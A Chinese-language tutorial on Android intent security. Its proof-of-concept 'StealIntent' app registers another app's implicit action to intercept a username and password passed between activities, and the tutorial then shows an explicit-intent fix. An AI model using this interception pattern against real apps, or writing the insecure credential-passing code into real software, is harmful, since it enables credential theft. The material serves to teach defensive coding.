android安全-intent

本文讨论了在Android环境中使用Intent进行信息传递时的安全风险,并提供了避免数据泄露的方法。通过实例展示了如何通过显式指定接收方来保护敏感信息。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

原文: http://www.sectop.com/?p=187

 

一、intent简介

android环境中,intent主要用于信息传递,intent如果使用隐式方式(setaction)来标识intent消息,接收方通过此action来接收信息。

如果intent没有明确指定哪些接收方有权限接收,则恶意程序指定action标识后,获取intent内容,将导致数据泄露。

二、实例

intent可以分别用startactivity,startservice,sendbroadcast方法,给activity,service和broadcat传递信息。

下面例子使用activity,

应用SendIntent是正常应用,有两个activity,LoginActivity用于登录界面,MainActiviey用于显示登录后的界面和提交的intent信息;

SendIntent androidmanifest.xml

?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<? xml version = "1.0" encoding = "utf-8" ?>
< manifest xmlns:android = "http://schemas.android.com/apk/res/android"
       package = "com.xiaod.SendIntent"
       android:versionCode = "1"
       android:versionName = "1.0" >
     < uses-sdk android:minSdkVersion = "8" />
  
     < application android:icon = "@drawable/icon" android:label = "@string/app_name" >
         < activity android:name = ".LoginActivity"
                   android:label = "@string/app_name" >
             < intent-filter >
                 < action android:name = "android.intent.action.MAIN" />
                 < category android:name = "android.intent.category.LAUNCHER" />
             </ intent-filter >
         </ activity >
         < activity android:name = ".MainActivity" android:label = "Main" >
             < intent-filter >
                 < action android:name = "com.xiaod.SendIntent.action.main" />
                 < category android:name = "android.intent.category.DEFAULT" />
             </ intent-filter >
         </ activity >
     </ application >
</ manifest >

LoginActivity.java

?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
package com.xiaod.SendIntent;
  
import android.app.Activity;
import android.content.Intent;
import android.os.Bundle;
import android.view.View;
import android.view.View.OnClickListener;
import android.widget.Button;
import android.widget.EditText;
  
public class LoginActivity extends Activity {
     private EditText et_user;
     private EditText et_pwd;
     private Button btn_login;
     /** Called when the activity is first created. */
     @Override
     public void onCreate(Bundle savedInstanceState) {
         super .onCreate(savedInstanceState);
         setContentView(R.layout.login);
  
         et_user = (EditText) findViewById(R.id.et_user);
         et_pwd = (EditText) findViewById(R.id.et_pwd);
         btn_login = (Button) findViewById(R.id.btn_login);
  
         btn_login.setOnClickListener( new OnClickListener(){
  
             @Override
             public void onClick(View v) {
                 // TODO Auto-generated method stub
                 Intent m_intent = new Intent();
                 m_intent.putExtra( "username" , et_user.getText().toString());
                 m_intent.putExtra( "password" , et_pwd.getText().toString());
                 m_intent.setAction( "com.xiaod.SendIntent.action.main" );
                 m_intent.addCategory(Intent.CATEGORY_DEFAULT);
                 startActivity(m_intent);
             }
  
         });
     }
}

应用StealIntent是恶意应用,用于窃听SendIntent应用中LoginActivity界面发送给MainActiviey界面的intent。

StealIntent androidmanifest.xml

?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<? xml version = "1.0" encoding = "utf-8" ?>
< manifest xmlns:android = "http://schemas.android.com/apk/res/android"
       package = "com.xiaod.StealIntent"
       android:versionCode = "1"
       android:versionName = "1.0" >
     < uses-sdk android:minSdkVersion = "8" />
  
     < application android:icon = "@drawable/icon" android:label = "@string/app_name" >
         < activity android:name = ".StealIntentActivity"
                   android:label = "@string/app_name" >
             < intent-filter >
  
                 < action android:name = "com.xiaod.SendIntent.action.main" />
                 < category android:name = "android.intent.category.DEFAULT" />
             </ intent-filter >
         </ activity >
  
     </ application >
</ manifest >

StealIntentActivity.java

 

?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
package com.xiaod.StealIntent;
  
import android.app.Activity;
import android.os.Bundle;
import android.widget.Toast;
  
public class StealIntentActivity extends Activity {
     /** Called when the activity is first created. */
     @Override
     public void onCreate(Bundle savedInstanceState) {
         super .onCreate(savedInstanceState);
         setContentView(R.layout.main);
         Toast.makeText(getBaseContext(),
                 "username: " + this .getIntent().getStringExtra( "username" )+
                 "\npassword: " + this .getIntent().getStringExtra( "password" ),
                 Toast.LENGTH_SHORT).show();
     }
}

在SendIntent点击登录后,StealIntent也会接收到intent发送的信息

三、解决方法

不要使用action标识intent,显式地指定intent发送到的包和处理类

?
1
2
3
4
5
Intent m_intent = new Intent();
m_intent.putExtra( "username" , et_user.getText().toString());
m_intent.putExtra( "password" , et_pwd.getText().toString());
m_intent.setClassName( "com.xiaod.SendIntent" , "com.xiaod.SendIntent.MainActivity" );
startActivity(m_intent);
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值